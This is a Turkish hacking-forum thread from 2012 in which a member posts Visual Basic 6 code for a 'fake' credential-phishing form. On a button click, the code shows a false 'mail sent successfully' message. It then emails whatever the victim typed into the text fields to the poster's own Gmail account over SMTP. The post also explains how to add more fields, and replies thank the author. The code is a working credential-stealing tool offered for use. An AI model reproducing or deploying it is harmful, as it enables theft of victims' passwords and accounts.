İPUCU

Sosyal medya ve Sosyal Platformlar Sosyal Medya Ve Sosyal Platformlar Hakkında Her şey.

Seçenekler

Windows7 ve XPde çalışan ne yeni fake kodları

1onelan1 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2012
Mesajlar:
132
Konular:
56
Teşekkür (Etti):
2
Teşekkür (Aldı):
8
Ticaret:
(0) %
03-08-2012 11:24
#1
Cool
Windows7 ve XPde çalışan ne yeni fake kodları
Arkadaşlar önceden fake ypakam için bi takım kodlar veirldi ama bazıalrı calısmıyo bazılarıda log gelmiyo bir gece 3 saat boyunca calıştım ve eskiden verilen kodları birleştirdim kodlar bunlar

Private Sub Command1_Click()
MsgBox "Mailiniz Başarıyla Gönderilmiştir"
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "gmail adresiniz"
Flds.Item(schema & "sendpassword") = "şifreniz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "gmail adresiniz"
.From = "gmail adresiniz"
.Subject = "MAİL BAŞLIĞI"
.HTMLbOdy = (Text1.Text + Text2.Text)
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub

Private Sub Form_Load()

End Sub


Arkadaşlar log gelmeme nedeni texlerdi kırmızı yerde gösterdihim gibi 2 teks eklicekseniz (Text1.Text + Text2.Text) böyle yapıcaksanız ama 4 tane ekliyecekseniz
(Text1.Text + Text2.Text + Text3.Text + Text4.Text) yapacaksınız
Bu arada bu kodları buton'Un içine yapıştırıcaksanız ve kendi bilgilerinizi dolduracaksınız

İşinize yaradıysa ne mutlu bana)
eraytuncer54 Teşekkür etti.
YoUngCrUel - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
08/2011
Nereden:
İstanbul
Mesajlar:
813
Konular:
83
Teşekkür (Etti):
39
Teşekkür (Aldı):
61
Ticaret:
(0) %
06-08-2012 22:53
#2
Açıklayıcı Bir Şekilde Yazarsanız (Fotoğraflı Anlatım gibi) Üyelerimizin Daha Çok İşine Yarıyacaktır Bu Şekilde Hem Sitede Boş Yer Kaplıyor Hem Siz Boşuna Uğraşmış Oluyorsunuz..
eraytuncer54 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2012
Mesajlar:
268
Konular:
66
Teşekkür (Etti):
26
Teşekkür (Aldı):
40
Ticaret:
(0) %
15-08-2012 01:31
#3
Teşekkürünü Verdim Allah Razı Olsun Kardeş Heryerde bunu arıyodum
--------------------- Kod Adı: Labirentx

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı